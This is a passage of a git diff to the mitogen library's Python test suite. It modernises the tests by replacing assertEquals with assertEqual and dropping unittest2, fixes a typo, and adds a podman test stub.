self.assertEquals(e.args[0], mitogen.core.Waker.broker_shutdown_msg) + self.assertEqual(e.args[0], mitogen.core.Waker.broker_shutdown_msg) class DeferSyncTest(testlib.TestCase): @@ -53,8 +48,8 @@ class DeferSyncTest(testlib.TestCase): def test_okay(self): broker = self.klass() try: - th = broker.defer_sync(lambda: threading.currentThread()) - self.assertEquals(th, broker._thread) + th = broker.defer_sync(lambda: mitogen.core.threading__current_thread()) + self.assertEqual(th, broker._thread) finally: broker.shutdown() broker.join() @@ -67,7 +62,3 @@ class DeferSyncTest(testlib.TestCase): finally: broker.shutdown() broker.join() - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/buildah_test.py b/tests/buildah_test.py index 874205cd..8412cff3 100644 --- a/tests/buildah_test.py +++ b/tests/buildah_test.py @@ -1,9 +1,5 @@ import os -import mitogen - -import unittest2 - import testlib @@ -17,12 +13,8 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): stream = self.router.stream_by_id(context.context_id) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[0], buildah_path) - self.assertEquals(argv[1], 'run') - self.assertEquals(argv[2], '--') - self.assertEquals(argv[3], 'container_name') - self.assertEquals(argv[4], stream.conn.options.python_path) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(argv[0], buildah_path) + self.assertEqual(argv[1], 'run') + self.assertEqual(argv[2], '--') + self.assertEqual(argv[3], 'container_name') + self.assertEqual(argv[4], stream.conn.options.python_path) diff --git a/tests/call_error_test.py b/tests/call_error_test.py index 00ff0ed9..1d098bab 100644 --- a/tests/call_error_test.py +++ b/tests/call_error_test.py @@ -1,8 +1,6 @@ import pickle import sys -import unittest2 - import mitogen.core import testlib @@ -14,25 +12,25 @@ class ConstructorTest(testlib.TestCase): def test_string_noargs(self): e = self.klass('%s%s') - self.assertEquals(e.args[0], '%s%s') + self.assertEqual(e.args[0], '%s%s') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_string_args(self): e = self.klass('%s%s', 1, 1) - self.assertEquals(e.args[0], '11') + self.assertEqual(e.args[0], '11') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_from_exc(self): ve = plain_old_module.MyError('eek') e = self.klass(ve) - self.assertEquals(e.args[0], 'plain_old_module.MyError: eek') + self.assertEqual(e.args[0], 'plain_old_module.MyError: eek') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_form_base_exc(self): ve = SystemExit('eek') e = self.klass(ve) cls = ve.__class__ - self.assertEquals(e.args[0], + self.assertEqual(e.args[0], # varies across 2/3. '%s.%s: eek' % (cls.__module__, cls.__name__)) self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) @@ -50,14 +48,14 @@ class ConstructorTest(testlib.TestCase): def test_bytestring_conversion(self): e = self.klass(mitogen.core.b('bytes')) - self.assertEquals(u'bytes', e.args[0]) + self.assertEqual(u'bytes', e.args[0]) self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_reduce(self): e = self.klass('eek') func, (arg,) = e.__reduce__() self.assertTrue(func is mitogen.core._unpickle_call_error) - self.assertEquals(arg, e.args[0]) + self.assertEqual(arg, e.args[0]) class UnpickleCallErrorTest(testlib.TestCase): @@ -73,10 +71,10 @@ class UnpickleCallErrorTest(testlib.TestCase): def test_reify(self): e = self.func(u'some error') - self.assertEquals(mitogen.core.CallError, e.__class__) - self.assertEquals(1, len(e.args)) - self.assertEquals(mitogen.core.UnicodeType, type(e.args[0])) - self.assertEquals(u'some error', e.args[0]) + self.assertEqual(mitogen.core.CallError, e.__class__) + self.assertEqual(1, len(e.args)) + self.assertEqual(mitogen.core.UnicodeType, type(e.args[0])) + self.assertEqual(u'some error', e.args[0]) class PickleTest(testlib.TestCase): @@ -85,18 +83,18 @@ class PickleTest(testlib.TestCase): def test_string_noargs(self): e = self.klass('%s%s') e2 = pickle.loads(pickle.dumps(e)) - self.assertEquals(e2.args[0], '%s%s') + self.assertEqual(e2.args[0], '%s%s') def test_string_args(self): e = self.klass('%s%s', 1, 1) e2 = pickle.loads(pickle.dumps(e)) - self.assertEquals(e2.args[0], '11') + self.assertEqual(e2.args[0], '11') def test_from_exc(self): ve = plain_old_module.MyError('eek') e = self.klass(ve) e2 = pickle.loads(pickle.dumps(e)) - self.assertEquals(e2.args[0], 'plain_old_module.MyError: eek') + self.assertEqual(e2.args[0], 'plain_old_module.MyError: eek') def test_from_exc_tb(self): try: @@ -108,7 +106,3 @@ class PickleTest(testlib.TestCase): e2 = pickle.loads(pickle.dumps(e)) self.assertTrue(e2.args[0].startswith('plain_old_module.MyError: eek')) self.assertTrue('test_from_exc_tb' in e2.args[0]) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/call_function_test.py b/tests/call_function_test.py index 9e821b27..1e838bda 100644 --- a/tests/call_function_test.py +++ b/tests/call_function_test.py @@ -1,11 +1,7 @@ -import logging import time -import unittest2 - import mitogen.core import mitogen.parent -import mitogen.master from mitogen.core import str_partition import testlib @@ -79,7 +75,7 @@ class CallFunctionTest(testlib.RouterMixin, testlib.TestCase): def test_bad_return_value(self): exc = self.assertRaises(mitogen.core.StreamError, lambda: self.local.call(func_with_bad_return_value)) - self.assertEquals( + self.assertEqual( exc.args[0], "cannot unpickle '%s'/'CrazyType'" % (__name__,), ) @@ -91,7 +87,7 @@ class CallFunctionTest(testlib.RouterMixin, testlib.TestCase): self.broker.defer(stream.on_disconnect, self.broker) exc = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(exc.args[0], self.router.respondent_disconnect_msg) + self.assertEqual(exc.args[0], self.router.respondent_disconnect_msg) def test_aborted_on_local_broker_shutdown(self): stream = self.router._stream_by_id[self.local.context_id] @@ -101,7 +97,7 @@ class CallFunctionTest(testlib.RouterMixin, testlib.TestCase): self.broker_shutdown = True exc = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(exc.args[0], self.router.respondent_disconnect_msg) + self.assertEqual(exc.args[0], self.router.respondent_disconnect_msg) def test_accepts_returns_context(self): context = self.local.call(func_returns_arg, self.local) @@ -114,10 +110,10 @@ class CallFunctionTest(testlib.RouterMixin, testlib.TestCase): recv = mitogen.core.Receiver(self.router) sender = recv.to_sender() sender2 = self.local.call(func_accepts_returns_sender, sender) - self.assertEquals(sender.context.context_id, + self.assertEqual(sender.context.context_id, sender2.context.context_id) - self.assertEquals(sender.dst_handle, sender2.dst_handle) - self.assertEquals(123, recv.get().unpickle()) + self.assertEqual(sender.dst_handle, sender2.dst_handle) + self.assertEqual(123, recv.get().unpickle()) self.assertRaises(mitogen.core.ChannelError, lambda: recv.get().unpickle()) @@ -132,19 +128,19 @@ class CallChainTest(testlib.RouterMixin, testlib.TestCase): def test_subsequent_calls_produce_same_error(self): chain = self.klass(self.local, pipelined=True) - self.assertEquals('xx', chain.call(func_returns_arg, 'xx')) + self.assertEqual('xx', chain.call(func_returns_arg, 'xx')) chain.call_no_reply(function_that_fails, 'x1') e1 = self.assertRaises(mitogen.core.CallError, lambda: chain.call(function_that_fails, 'x2')) e2 = self.assertRaises(mitogen.core.CallError, lambda: chain.call(func_returns_arg, 'x3')) - self.assertEquals(str(e1), str(e2)) + self.assertEqual(str(e1), str(e2)) def test_unrelated_overlapping_failed_chains(self): c1 = self.klass(self.local, pipelined=True) c2 = self.klass(self.local, pipelined=True) c1.call_no_reply(function_that_fails, 'c1') - self.assertEquals('yes', c2.call(func_returns_arg, 'yes')) + self.assertEqual('yes', c2.call(func_returns_arg, 'yes')) self.assertRaises(mitogen.core.CallError, lambda: c1.call(func_returns_arg, 'yes')) @@ -154,7 +150,7 @@ class CallChainTest(testlib.RouterMixin, testlib.TestCase): e1 = self.assertRaises(mitogen.core.CallError, lambda: c1.call(function_that_fails, 'x2')) c1.reset() - self.assertEquals('x3', c1.call(func_returns_arg, 'x3')) + self.assertEqual('x3', c1.call(func_returns_arg, 'x3')) class UnsupportedCallablesTest(testlib.RouterMixin, testlib.TestCase): @@ -170,21 +166,17 @@ class UnsupportedCallablesTest(testlib.RouterMixin, testlib.TestCase): closure = lambda: a e = self.assertRaises(TypeError, lambda: self.local.call(closure)) - self.assertEquals(e.args[0], self.klass.closures_msg) + self.assertEqual(e.args[0], self.klass.closures_msg) def test_lambda_unsupported(self): lam = lambda: None e = self.assertRaises(TypeError, lambda: self.local.call(lam)) - self.assertEquals(e.args[0], self.klass.lambda_msg) + self.assertEqual(e.args[0], self.klass.lambda_msg) def test_instance_method_unsupported(self): class X: def x(): pass e = self.assertRaises(TypeError, lambda: self.local.call(X().x)) - self.assertEquals(e.args[0], self.klass.method_msg) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(e.args[0], self.klass.method_msg) diff --git a/tests/channel_test.py b/tests/channel_test.py index 31d3f35d..096c05c3 100644 --- a/tests/channel_test.py +++ b/tests/channel_test.py @@ -1,5 +1,3 @@ -import unittest2 - import mitogen.core import testlib @@ -14,7 +12,3 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): self.assertEqual(chan.dst_handle, 123) self.assertIsNotNone(chan.handle) self.assertGreater(chan.handle, 0) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/connection_test.py b/tests/connection_test.py index 619594d9..5b54e090 100644 --- a/tests/connection_test.py +++ b/tests/connection_test.py @@ -1,4 +1,3 @@ - import os import signal import sys @@ -6,7 +5,6 @@ import tempfile import threading import time -import unittest2 import testlib import mitogen.core @@ -42,7 +40,7 @@ class ConnectionTest(testlib.RouterMixin, testlib.TestCase): exc, = result self.assertTrue(isinstance(exc, mitogen.parent.CancelledError)) - self.assertEquals(mitogen.parent.BROKER_SHUTDOWN_MSG, exc.args[0]) + self.assertEqual(mitogen.parent.BROKER_SHUTDOWN_MSG, exc.args[0]) @mitogen.core.takes_econtext @@ -71,7 +69,3 @@ class DetachReapTest(testlib.RouterMixin, testlib.TestCase): # now clean up os.kill(pid, signal.SIGTERM) os.waitpid(pid, 0) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/context_test.py b/tests/context_test.py index 4bc4bd2e..ee9292c4 100644 --- a/tests/context_test.py +++ b/tests/context_test.py @@ -1,6 +1,4 @@ - import pickle -import unittest2 import mitogen.core from mitogen.core import b @@ -21,17 +19,13 @@ class PickleTest(testlib.RouterMixin, testlib.TestCase): r = mitogen.core.Receiver(self.router) r.to_sender().send(c) c2 = r.get().unpickle() - self.assertEquals(None, c2.router) - self.assertEquals(c.context_id, c2.context_id) - self.assertEquals(c.name, c2.name) + self.assertEqual(None, c2.router) + self.assertEqual(c.context_id, c2.context_id) + self.assertEqual(c.name, c2.name) def test_vanilla_roundtrip(self): c = self.router.local() c2 = pickle.loads(pickle.dumps(c)) - self.assertEquals(None, c2.router) - self.assertEquals(c.context_id, c2.context_id) - self.assertEquals(c.name, c2.name) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(None, c2.router) + self.assertEqual(c.context_id, c2.context_id) + self.assertEqual(c.name, c2.name) diff --git a/tests/create_child_test.py b/tests/create_child_test.py index 26f10d57..d9bbd1a1 100644 --- a/tests/create_child_test.py +++ b/tests/create_child_test.py @@ -1,14 +1,9 @@ - import fcntl import os import stat import sys -import time import tempfile -import mock -import unittest2 - import mitogen.core import mitogen.parent from mitogen.core import b @@ -80,7 +75,7 @@ def close_proc(proc): proc.stdin.close() proc.stdout.close() if proc.stderr: - prco.stderr.close() + proc.stderr.close() def wait_read(fp, n): @@ -100,8 +95,8 @@ class StdinSockMixin(object): lambda proc: proc.stdin.send(b('TEST'))) st = os.fstat(proc.stdin.fileno()) self.assertTrue(stat.S_ISSOCK(st.st_mode)) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, _osx_mode(info['st_mode'])) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, _osx_mode(info['st_mode'])) flags = fcntl.fcntl(proc.stdin.fileno(), fcntl.F_GETFL) self.assertTrue(flags & os.O_RDWR) self.assertTrue(info['buf'], 'TEST') @@ -114,8 +109,8 @@ class StdoutSockMixin(object): lambda proc: wait_read(proc.stdout, 4)) st = os.fstat(proc.stdout.fileno()) self.assertTrue(stat.S_ISSOCK(st.st_mode)) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, _osx_mode(info['st_mode'])) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, _osx_mode(info['st_mode'])) flags = fcntl.fcntl(proc.stdout.fileno(), fcntl.F_GETFL) self.assertTrue(flags & os.O_RDWR) self.assertTrue(buf, 'TEST') @@ -128,9 +123,9 @@ class CreateChildTest(StdinSockMixin, StdoutSockMixin, testlib.TestCase): def test_stderr(self): proc, info, _ = run_fd_check(self.func, 2, 'write') st = os.fstat(sys.stderr.fileno()) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, info['st_mode']) - self.assertEquals(st.st_ino, info['st_ino']) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, info['st_mode']) + self.assertEqual(st.st_ino, info['st_ino']) class CreateChildMergedTest(StdinSockMixin, StdoutSockMixin, @@ -142,7 +137,7 @@ class CreateChildMergedTest(StdinSockMixin, StdoutSockMixin, def test_stderr(self): proc, info, buf = run_fd_check(self.func, 2, 'write', lambda proc: wait_read(proc.stdout, 4)) - self.assertEquals(None, proc.stderr) + self.assertEqual(None, proc.stderr) st = os.fstat(proc.stdout.fileno()) self.assertTrue(stat.S_ISSOCK(st.st_mode)) flags = fcntl.fcntl(proc.stdout.fileno(), fcntl.F_GETFL) @@ -162,8 +157,8 @@ class CreateChildStderrPipeTest(StdinSockMixin, StdoutSockMixin, lambda proc: wait_read(proc.stderr, 4)) st = os.fstat(proc.stderr.fileno()) self.assertTrue(stat.S_ISFIFO(st.st_mode)) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, info['st_mode']) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, info['st_mode']) flags = fcntl.fcntl(proc.stderr.fileno(), fcntl.F_GETFL) self.assertFalse(flags & os.O_WRONLY) self.assertFalse(flags & os.O_RDWR) @@ -191,11 +186,11 @@ class TtyCreateChildTest(testlib.TestCase): ]) mitogen.core.set_block(proc.stdin.fileno()) # read(3) below due to https://bugs.python.org/issue37696 - self.assertEquals(mitogen.core.b('hi\n'), proc.stdin.read(3)) + self.assertEqual(mitogen.core.b('hi\n'), proc.stdin.read(3)) waited_pid, status = os.waitpid(proc.pid, 0) - self.assertEquals(proc.pid, waited_pid) - self.assertEquals(0, status) - self.assertEquals(mitogen.core.b(''), tf.read()) + self.assertEqual(proc.pid, waited_pid) + self.assertEqual(0, status) + self.assertEqual(mitogen.core.b(''), tf.read()) proc.stdout.close() finally: tf.close() @@ -271,11 +266,11 @@ class TtyCreateChildTest(testlib.TestCase): proc = self.func([ 'bash', '-c', 'exec 2>%s; echo hi > /dev/tty' % (tf.name,) ]) - self.assertEquals(mitogen.core.b('hi\n'), wait_read(proc.stdout, 3)) + self.assertEqual(mitogen.core.b('hi\n'), wait_read(proc.stdout, 3)) waited_pid, status = os.waitpid(proc.pid, 0) - self.assertEquals(proc.pid, waited_pid) - self.assertEquals(0, status) - self.assertEquals(mitogen.core.b(''), tf.read()) + self.assertEqual(proc.pid, waited_pid) + self.assertEqual(0, status) + self.assertEqual(mitogen.core.b(''), tf.read()) proc.stdout.close() finally: tf.close() @@ -319,8 +314,8 @@ if 0: lambda proc: proc.transmit_side.write('TEST')) st = os.fstat(proc.transmit_side.fd) self.assertTrue(stat.S_ISFIFO(st.st_mode)) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, info['st_mode']) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, info['st_mode']) flags = fcntl.fcntl(proc.transmit_side.fd, fcntl.F_GETFL) self.assertTrue(flags & os.O_WRONLY) self.assertTrue(buf, 'TEST') @@ -332,14 +327,10 @@ if 0: lambda proc: wait_read(proc.receive_side, 4)) st = os.fstat(proc.receive_side.fd) self.assertTrue(stat.S_ISFIFO(st.st_mode)) - self.assertEquals(st.st_dev, info['st_dev']) - self.assertEquals(st.st_mode, info['st_mode']) + self.assertEqual(st.st_dev, info['st_dev']) + self.assertEqual(st.st_mode, info['st_mode']) flags = fcntl.fcntl(proc.receive_side.fd, fcntl.F_GETFL) self.assertFalse(flags & os.O_WRONLY) self.assertFalse(flags & os.O_RDWR) self.assertTrue(info['flags'] & os.O_WRONLY) self.assertTrue(buf, 'TEST') - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/data/importer/module_finder_testmod/regular_mod.py b/tests/data/importer/module_finder_testmod/regular_mod.py index a7c0403b..07f8759f 100644 --- a/tests/data/importer/module_finder_testmod/regular_mod.py +++ b/tests/data/importer/module_finder_testmod/regular_mod.py @@ -1,6 +1,2 @@ - -import sys - - def say_hi(): print('hi') diff --git a/tests/data/importer/module_finder_testmod/sibling_dep_mod_abs_import.py b/tests/data/importer/module_finder_testmod/sibling_dep_mod_abs_import.py index 5e64ffd6..1dedc812 100644 --- a/tests/data/importer/module_finder_testmod/sibling_dep_mod_abs_import.py +++ b/tests/data/importer/module_finder_testmod/sibling_dep_mod_abs_import.py @@ -1,3 +1,2 @@ - from __future__ import absolute_import from module_finder_testmod.regular_mod import say_hi diff --git a/tests/data/importer/module_finder_testmod/sibling_dep_mod_py2_import.py b/tests/data/importer/module_finder_testmod/sibling_dep_mod_py2_import.py index aaefff70..f5b17796 100644 --- a/tests/data/importer/module_finder_testmod/sibling_dep_mod_py2_import.py +++ b/tests/data/importer/module_finder_testmod/sibling_dep_mod_py2_import.py @@ -1,2 +1 @@ - from regular_mod import say_hi diff --git a/tests/data/importer/pkg_like_plumbum/colors.py b/tests/data/importer/pkg_like_plumbum/colors.py index bff19555..a36ec98b 100644 --- a/tests/data/importer/pkg_like_plumbum/colors.py +++ b/tests/data/importer/pkg_like_plumbum/colors.py @@ -1,4 +1,3 @@ - # coding=utf-8 import sys diff --git a/tests/data/importer/simple_pkg/a.py b/tests/data/importer/simple_pkg/a.py index ce5f1887..5d369cad 100644 --- a/tests/data/importer/simple_pkg/a.py +++ b/tests/data/importer/simple_pkg/a.py @@ -1,4 +1,3 @@ - import simple_pkg.b diff --git a/tests/data/importer/simple_pkg/b.py b/tests/data/importer/simple_pkg/b.py index 5e5d67b2..c0883bd5 100644 --- a/tests/data/importer/simple_pkg/b.py +++ b/tests/data/importer/simple_pkg/b.py @@ -1,3 +1,2 @@ - def subtract_one(n): return n - 1 diff --git a/tests/data/importer/simple_pkg/ping.py b/tests/data/importer/simple_pkg/ping.py index 722f7b87..84330482 100644 --- a/tests/data/importer/simple_pkg/ping.py +++ b/tests/data/importer/simple_pkg/ping.py @@ -1,5 +1,3 @@ - - def ping(*args): return args diff --git a/tests/data/importer/webproject/serve_django_app.py b/tests/data/importer/webproject/serve_django_app.py index afa67f0c..a9ad1e80 100644 --- a/tests/data/importer/webproject/serve_django_app.py +++ b/tests/data/importer/webproject/serve_django_app.py @@ -1,4 +1,3 @@ - import os import sys diff --git a/tests/data/main_with_no_exec_guard.py b/tests/data/main_with_no_exec_guard.py index 153e4743..7c23a769 100644 --- a/tests/data/main_with_no_exec_guard.py +++ b/tests/data/main_with_no_exec_guard.py @@ -1,4 +1,3 @@ - import logging import mitogen.master diff --git a/tests/data/plain_old_module.py b/tests/data/plain_old_module.py index 608f27a5..7239f76a 100755 --- a/tests/data/plain_old_module.py +++ b/tests/data/plain_old_module.py @@ -12,7 +12,8 @@ class MyError(Exception): def get_sentinel_value(): # Some proof we're even talking to the mitogen-test Docker image - return open('/etc/sentinel', 'rb').read().decode() + with open('/etc/sentinel', 'rb') as f: + return f.read().decode() def add(x, y): diff --git a/tests/data/python_never_responds.py b/tests/data/python_never_responds.py index 449d8565..9caa5a63 100755 --- a/tests/data/python_never_responds.py +++ b/tests/data/python_never_responds.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python # I am a Python interpreter that sits idle until the connection times out. import time diff --git a/tests/data/stubs/stub-podman.py b/tests/data/stubs/stub-podman.py new file mode 100755 index 00000000..28f55189 --- /dev/null +++ b/tests/data/stubs/stub-podman.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +import sys +import os + +os.environ['ORIGINAL_ARGV'] = repr(sys.argv) +os.environ['THIS_IS_STUB_PODMAN'] = '1' +os.execv(sys.executable, sys.argv[sys.argv.index('--') + 2:]) diff --git a/tests/data/stubs/stub-python.py b/tests/data/stubs/stub-python.py index d9239c2b..f18b0b68 100755 --- a/tests/data/stubs/stub-python.py +++ b/tests/data/stubs/stub-python.py @@ -2,7 +2,6 @@ import json import os -import subprocess import sys os.environ['ORIGINAL_ARGV'] = json.dumps(sys.argv) diff --git a/tests/data/stubs/stub-su.py b/tests/data/stubs/stub-su.py index 1f5e512d..e353a752 100755 --- a/tests/data/stubs/stub-su.py +++ b/tests/data/stubs/stub-su.py @@ -2,7 +2,6 @@ import json import os -import subprocess import sys import time diff --git a/tests/doas_test.py b/tests/doas_test.py index 16b0b9da..4e847942 100644 --- a/tests/doas_test.py +++ b/tests/doas_test.py @@ -1,11 +1,7 @@ - import os -import mitogen +import mitogen.core import mitogen.doas -import mitogen.parent - -import unittest2 import testlib @@ -19,16 +15,16 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): username='someuser', ) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[:4], [ + self.assertEqual(argv[:4], [ self.doas_path, '-u', 'someuser', '--', ]) - self.assertEquals('1', context.call(os.getenv, 'THIS_IS_STUB_DOAS')) + self.assertEqual('1', context.call(os.getenv, 'THIS_IS_STUB_DOAS')) -# TODO: https://github.com/dw/mitogen/issues/694 they are flaky on python 2.6 MODE=mitogen DISTRO=centos7 +# TODO: https://github.com/dw/mitogen/issues/694 they are flaky on python 2.6 MODE=mitogen DISTROS=centos7 # class DoasTest(testlib.DockerMixin, testlib.TestCase): # # Only mitogen/debian-test has doas. # mitogen_test_distro = 'debian' @@ -59,8 +55,4 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): # password='has_sudo_password', # ) # context = self.router.doas(via=ssh, password='has_sudo_password') -# self.assertEquals(0, context.call(os.getuid)) - - -if __name__ == '__main__': - unittest2.main() +# self.assertEqual(0, context.call(os.getuid)) diff --git a/tests/docker_test.py b/tests/docker_test.py index b5d15707..6f1b5cca 100644 --- a/tests/docker_test.py +++ b/tests/docker_test.py @@ -1,9 +1,5 @@ import os -import mitogen - -import unittest2 - import testlib @@ -17,12 +13,8 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): stream = self.router.stream_by_id(context.context_id) argv = eval(context.call(os.getenv, 'ORIGINAL_ARGV')) - self.assertEquals(argv[0], docker_path) - self.assertEquals(argv[1], 'exec') - self.assertEquals(argv[2], '--interactive') - self.assertEquals(argv[3], 'container_name') - self.assertEquals(argv[4], stream.conn.options.python_path) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(argv[0], docker_path) + self.assertEqual(argv[1], 'exec') + self.assertEqual(argv[2], '--interactive') + self.assertEqual(argv[3], 'container_name') + self.assertEqual(argv[4], stream.conn.options.python_path) diff --git a/tests/error_test.py b/tests/error_test.py index 2eefd567..a34d801e 100644 --- a/tests/error_test.py +++ b/tests/error_test.py @@ -1,6 +1,3 @@ - -import unittest2 - import testlib import mitogen.core @@ -10,24 +7,20 @@ class ConstructorTest(testlib.TestCase): def test_literal_no_format(self): e = self.klass('error') - self.assertEquals(e.args[0], 'error') + self.assertEqual(e.args[0], 'error') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_literal_format_chars_present(self): e = self.klass('error%s') - self.assertEquals(e.args[0], 'error%s') + self.assertEqual(e.args[0], 'error%s') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_format(self): e = self.klass('error%s', 123) - self.assertEquals(e.args[0], 'error123') + self.assertEqual(e.args[0], 'error123') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) def test_bytes_to_unicode(self): e = self.klass(mitogen.core.b('error')) - self.assertEquals(e.args[0], 'error') + self.assertEqual(e.args[0], 'error') self.assertTrue(isinstance(e.args[0], mitogen.core.UnicodeType)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/fakessh_test.py b/tests/fakessh_test.py index e7dde711..52321495 100644 --- a/tests/fakessh_test.py +++ b/tests/fakessh_test.py @@ -1,8 +1,6 @@ - import os import shutil - -import unittest2 +import unittest import mitogen.fakessh @@ -10,7 +8,7 @@ import testlib class RsyncTest(testlib.DockerMixin, testlib.TestCase): - @unittest2.skip('broken') + @unittest.skip('broken') def test_rsync_from_master(self): context = self.docker_ssh_any() @@ -26,7 +24,7 @@ class RsyncTest(testlib.DockerMixin, testlib.TestCase): self.assertTrue(context.call(os.path.exists, '/tmp/data')) self.assertTrue(context.call(os.path.exists, '/tmp/data/simple_pkg/a.py')) - @unittest2.skip('broken') + @unittest.skip('broken') def test_rsync_between_direct_children(self): # master -> SSH -> mitogen__has_sudo_pubkey -> rsync(.ssh) -> master -> # mitogen__has_sudo -> rsync @@ -59,7 +57,3 @@ class RsyncTest(testlib.DockerMixin, testlib.TestCase): pubkey_acct.call(os.path.getsize, '.ssh/authorized_keys'), webapp_acct.call(os.path.getsize, dest_path + '/authorized_keys'), ) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/file_service_test.py b/tests/file_service_test.py index 45b621ac..2a2008b3 100644 --- a/tests/file_service_test.py +++ b/tests/file_service_test.py @@ -1,8 +1,5 @@ - import sys -import unittest2 - import mitogen.service import testlib @@ -52,8 +49,8 @@ class FetchTest(testlib.RouterMixin, testlib.TestCase): def _validate_response(self, resp): self.assertTrue(isinstance(resp, dict)) - self.assertEquals('root', resp['owner']) - self.assertEquals(self.ROOT_GROUP, resp['group']) + self.assertEqual('root', resp['owner']) + self.assertEqual(self.ROOT_GROUP, resp['group']) self.assertTrue(isinstance(resp['mode'], int)) self.assertTrue(isinstance(resp['mtime'], float)) self.assertTrue(isinstance(resp['atime'], float)) @@ -148,7 +145,3 @@ class FetchTest(testlib.RouterMixin, testlib.TestCase): expect = service.unregistered_msg % (path,) self.assertTrue(expect in e.args[0]) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/first_stage_test.py b/tests/first_stage_test.py index 53f98373..ad7165b3 100644 --- a/tests/first_stage_test.py +++ b/tests/first_stage_test.py @@ -1,8 +1,5 @@ - import subprocess -import unittest2 - import mitogen.parent from mitogen.core import b @@ -39,13 +36,9 @@ class CommandLineTest(testlib.RouterMixin, testlib.TestCase): stderr=subprocess.PIPE, ) stdout, stderr = proc.communicate() - self.assertEquals(0, proc.returncode) - self.assertEquals(stdout, + self.assertEqual(0, proc.returncode) + self.assertEqual(stdout, mitogen.parent.BootstrapProtocol.EC0_MARKER+b('\n')) self.assertIn(b("Error -5 while decompressing data"), stderr) finally: fp.close() - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/fork_test.py b/tests/fork_test.py index 7ca41194..86e60cfc 100644 --- a/tests/fork_test.py +++ b/tests/fork_test.py @@ -1,8 +1,7 @@ - import os import random -import struct import sys +import unittest try: import _ssl @@ -21,7 +20,6 @@ except ImportError: ctypes = None import mitogen -import unittest2 import testlib import plain_old_module @@ -78,7 +76,7 @@ def exercise_importer(n): return simple_pkg.a.subtract_one_add_two(n) -skipIfUnsupported = unittest2.skipIf( +skipIfUnsupported = unittest.skipIf( condition=(not mitogen.fork.FORK_SUPPORTED), reason="mitogen.fork unsupported on this platform" ) @@ -94,7 +92,7 @@ class ForkTest(testlib.RouterMixin, testlib.TestCase): context = self.router.fork() self.assertNotEqual(context.call(random_random), random_random()) - @unittest2.skipIf( + @unittest.skipIf( condition=LIBSSL_PATH is None or ctypes is None, reason='cant test libssl on this platform', ) @@ -115,7 +113,7 @@ class ForkTest(testlib.RouterMixin, testlib.TestCase): sender = mitogen.core.Sender(econtext.parent, recv.handle) sender.send(123) context = self.router.fork(on_start=on_start) - self.assertEquals(123, recv.get().unpickle()) + self.assertEqual(123, recv.get().unpickle()) ForkTest = skipIfUnsupported(ForkTest) @@ -134,7 +132,7 @@ class DoubleChildTest(testlib.RouterMixin, testlib.TestCase): # successfully. In future, we need lots more tests. c1 = self.router.fork() c2 = self.router.fork(via=c1) - self.assertEquals(123, c2.call(ping)) + self.assertEqual(123, c2.call(ping)) def test_importer(self): c1 = self.router.fork(name='c1') @@ -142,7 +140,3 @@ class DoubleChildTest(testlib.RouterMixin, testlib.TestCase): self.assertEqual(2, c2.call(exercise_importer, 1)) DoubleChildTest = skipIfUnsupported(DoubleChildTest) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/id_allocation_test.py b/tests/id_allocation_test.py index 1e8d8d1e..850a68a5 100644 --- a/tests/id_allocation_test.py +++ b/tests/id_allocation_test.py @@ -1,6 +1,3 @@ - -import unittest2 - import testlib import mitogen.core @@ -17,7 +14,7 @@ class SlaveTest(testlib.RouterMixin, testlib.TestCase): def test_slave_allocates_id(self): context = self.router.local() # Master's allocator named the context 1. - self.assertEquals(1, context.context_id) + self.assertEqual(1, context.context_id) # First call from slave allocates a block (2..1001) id_ = context.call(allocate_an_id) @@ -29,8 +26,4 @@ class SlaveTest(testlib.RouterMixin, testlib.TestCase): # Subsequent master allocation does not collide c2 = self.router.local() - self.assertEquals(1002, c2.context_id) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(1002, c2.context_id) diff --git a/tests/image_prep/README.md b/tests/image_prep/README.md index 